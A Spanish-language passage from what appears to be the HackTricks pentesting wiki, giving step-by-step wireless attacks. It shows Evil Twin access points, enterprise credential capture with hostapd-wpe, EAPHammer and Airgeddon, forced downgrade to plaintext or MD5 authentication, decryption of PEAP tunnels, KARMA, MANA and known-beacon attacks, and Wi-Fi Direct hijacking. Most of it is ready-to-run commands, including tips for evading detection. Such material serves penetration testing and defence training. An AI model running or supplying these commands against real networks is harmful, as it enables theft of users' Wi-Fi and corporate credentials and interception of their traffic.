También tenga en cuenta que las implementaciones inalámbricas del mundo real suelen tener más de un punto de acceso, y estos puntos de acceso suelen ser más potentes y tener un mejor alcance de línea de visión debido a su ubicación en el techo. La desautenticación de un solo punto de acceso generalmente resulta en que el objetivo se mueva hacia otro punto de acceso válido en lugar de su AP falso, a menos que se desautentiquen todos los puntos de acceso cercanos (ruidosos) o se tenga mucho cuidado con la ubicación del AP falso (difícil).

Puede crear un Evil Twin básico abierto (sin capacidad para enrutar el tráfico a Internet) haciendo:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

También se puede crear un Evil Twin utilizando eaphammer (ten en cuenta que para crear Evil Twins con eaphammer la interfaz NO debe estar en modo monitor):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

O usando Airgeddon: Opciones: 5,6,7,8,9 (dentro del menú de ataque Evil Twin).

Por favor, tenga en cuenta que por defecto, si un ESSID en la PNL está guardado como protegido por WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puede intentar hacer un DoS al AP real y esperar a que el usuario se conecte manualmente a su Evil Twin abierto, o podría hacer un DoS al AP real y usar un WPA Evil Twin para capturar el handshake (usando este método no podrá dejar que la víctima se conecte a usted ya que no conoce la PSK, pero puede capturar el handshake e intentar crackearlo).

Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso...

Evil Twin WPA/WPA2

Puede crear un Evil Twin usando WPA/2 y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todas formas, para completar el handshake de 4 vías también necesitas saber la contraseña que el cliente va a usar. Si no la conoces, la conexión no se completará.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Evil Twin Empresarial

Para entender este ataque, recomendaría leer primero la breve explicación de WPA Enterprise.

Usando hostapd-wpe

hostapd-wpe necesita un archivo de configuración para funcionar. Para automatizar la generación de estas configuraciones, se puede utilizar https://github.com/WJDigby/apd_launchpad (descargar el archivo python dentro de /etc/hostapd-wpe/).

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

En el archivo de configuración se pueden seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, credenciales/clave, parámetros dh, versión y autenticación wpa...

Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.

Usando EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Por defecto, EAPHammer propone estos métodos de autenticación (observa que GTC es el primero en intentar obtener contraseñas en texto plano y luego se utilizan métodos de autenticación más robustos):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Esta es la metodología predeterminada para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débiles a más fuertes:

--negotiate weakest

O también puedes usar:

  • --negotiate gtc-downgrade para usar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano).
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar).
  • Encuentra más información en la wiki

Usando Airgeddon

Airgeddon puede usar certificados previamente generados para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder capturar al usuario y el MD5 de la contraseña. Más tarde, el atacante puede intentar descifrar la contraseña.
Airggedon te ofrece la posibilidad de un ataque continuo de Evil Twin (ruidoso) o solo crear el ataque Evil hasta que alguien se conecte (suave).

Depuración de túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins

Este método fue probado en una conexión PEAP pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS

Dentro de la configuración de hostapd-wpe comenta la línea que contiene dh_file (de dh_file=/etc/hostapd-wpe/certs/dh a #dh_file=/etc/hostapd-wpe/certs/dh)
Esto hará que hostapd-wpe intercambie claves usando RSA en lugar de DH, por lo que podrás descifrar el tráfico más tarde conociendo la clave privada del servidor.

Ahora inicia el Evil Twin usando hostapd-wpe con esa configuración modificada como de costumbre. También, inicia wireshark en la interfaz que está realizando el ataque de Evil Twin.

Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación) puedes agregar la clave privada RSA a wireshark en: Editar --> Preferencias --> Protocolos --> TLS --> (Lista de claves RSA) Editar...

Agrega una nueva entrada y completa el formulario con estos valores: Dirección IP = cualquier -- Puerto = 0 -- Protocolo = datos -- Archivo de clave (selecciona tu archivo de clave, para evitar problemas selecciona un archivo de clave sin protección de contraseña).

Y mira la nueva pestaña de "TLS descifrado":

Ataque KARMA, MANA, Loud MANA y Beacons conocidos

Listas negras/blancas de ESSID y MAC

La siguiente tabla enumera los diferentes tipos de MFACLs (Listas de control de acceso de marcos de gestión) disponibles, así como sus efectos cuando se utilizan:

# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Los ataques Karma son una segunda forma de ataque de punto de acceso falso que explota el proceso de selección de red utilizado por las estaciones. En un documento técnico escrito en 2005, Dino Dai Zovi y Shane Macaulay describen cómo un atacante puede configurar un punto de acceso para escuchar solicitudes de sondeo dirigidas y responder a todas ellas con respuestas de sondeo dirigidas coincidentes. Esto hace que las estaciones afectadas envíen automáticamente una solicitud de asociación al punto de acceso del atacante. El punto de acceso luego responde con una respuesta de asociación, lo que hace que las estaciones afectadas se conecten al atacante.

MANA

Según Ian de Villiers y Dominic White, las estaciones modernas están diseñadas para protegerse contra los ataques Karma ignorando las respuestas de sondeo dirigidas de los puntos de acceso que aún no han respondido al menos a una solicitud de sondeo de difusión. Esto llevó a una disminución significativa en el número de estaciones que eran vulnerables a los ataques Karma hasta 2015, cuando White y de Villiers desarrollaron un medio para evitar tales protecciones. En el ataque Karma mejorado de White y de Villiers (ataque MANA), se utilizan respuestas de sondeo dirigidas para reconstruir las PNL de las estaciones cercanas. Cuando se recibe una solicitud de sondeo de difusión de una estación, el punto de acceso del atacante responde con un SSID arbitrario de la PNL de la estación que ya se vio en un sondeo directo desde ese dispositivo.

En resumen, el algoritmo MANA funciona así: cada vez que el punto de acceso recibe una solicitud de sondeo, primero determina si es una solicitud de sondeo de difusión o dirigida. Si es una solicitud de sondeo dirigida, la dirección MAC del remitente se agrega a la tabla hash (si aún no está allí) y el ESSID se agrega a la PNL de ese dispositivo. El punto de acceso luego responde con una respuesta de sondeo dirigida. Si es una solicitud de sondeo de difusión, el punto de acceso responde con respuestas de sondeo para cada una de las redes en la PNL de ese dispositivo.

Ataque MANA usando eaphammer:

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Ataque Loud MANA

Cabe destacar que el ataque MANA estándar todavía no nos permite atacar dispositivos que no utilizan la sonda dirigida en absoluto. Por lo tanto, si tampoco conocemos previamente ninguna entrada dentro del PNL del dispositivo, necesitamos encontrar alguna otra forma de atacarlo.

Una posibilidad es lo que se llama ataque Loud MANA. Este ataque se basa en la idea de que los dispositivos clientes en proximidad física cercana entre sí probablemente tengan al menos algunas entradas comunes en sus PNL.

En resumen, el ataque Loud MANA, en lugar de responder a las solicitudes de sonda con cada ESSID en el PNL de un dispositivo en particular, el AP malintencionado envía respuestas de sonda para cada ESSID en cada PNL de todos los dispositivos que ha visto antes. Relacionando esto con la teoría de conjuntos, podemos decir que el AP envía respuestas de sonda para cada ESSID en la unión de todos los PNL de los dispositivos cercanos.

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Ataque de Beacon Conocido

Todavía hay casos en los que el ataque Loud MANA no tendrá éxito.
El ataque de Beacon Conocido es una forma de "Fuerza Bruta" de ESSIDs para intentar que la víctima se conecte al atacante. El atacante crea un AP que responde a cualquier ESSID y ejecuta algún código enviando beacons falsificando ESSIDs de cada nombre dentro de una lista de palabras. Con suerte, la víctima contendrá algunos de estos nombres de ESSID dentro de su PNL y tratará de conectarse al AP falso.
Eaphammer implementó este ataque como un ataque MANA donde se cargan todos los ESSIDs dentro de una lista (también se puede combinar esto con --loud para crear un ataque Loud MANA + Beacon Conocido):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Ataque de ráfaga de balizas conocidas

Como las balizas conocidas son ruidosas, puedes usar un script dentro del proyecto Eaphammer para lanzar ráfagas de balizas de cada nombre de ESSID dentro de un archivo muy rápidamente. Si combinas este script con un ataque MANA de Eaphammer, los clientes podrán conectarse a tu AP.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
 --bssid de:ad:be:ef:13:37 \
 --known-essids-file known-s.txt \
 --dst-addr 11:22:33:11:22:33 \
 --burst-count 5

Wi-Fi Direct

Wi-Fi Direct es un estándar de Wi-Fi que permite que los dispositivos se conecten entre sí sin un punto de acceso inalámbrico, ya que uno de los dos dispositivos actuará como AP (llamado propietario del grupo). Puedes encontrar Wi-Fi Direct en muchos dispositivos IoT como impresoras, televisores...

Wi-Fi Direct se basa en Wi-Fi Protected Setup (WPS) para conectar los dispositivos de forma segura. WPS tiene varios métodos de configuración como la Configuración de botón de presión (PBC), la entrada de PIN, y la Comunicación de campo cercano (NFC).

Por lo tanto, los ataques previamente vistos al PIN de WPS también son válidos aquí si se utiliza el PIN.

Secuestro de EvilDirect

Esto funciona como un Evil-Twin pero para Wi-Fi directo, puedes hacerse pasar por un propietario de grupo para intentar hacer que otros dispositivos como teléfonos se conecten a ti: airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0

Referencias

TODO: Echa un vistazo a https://github.com/wifiphisher/wifiphisher (inicio de sesión con Facebook e imitación de WPA en portales cautivos)

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales de errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥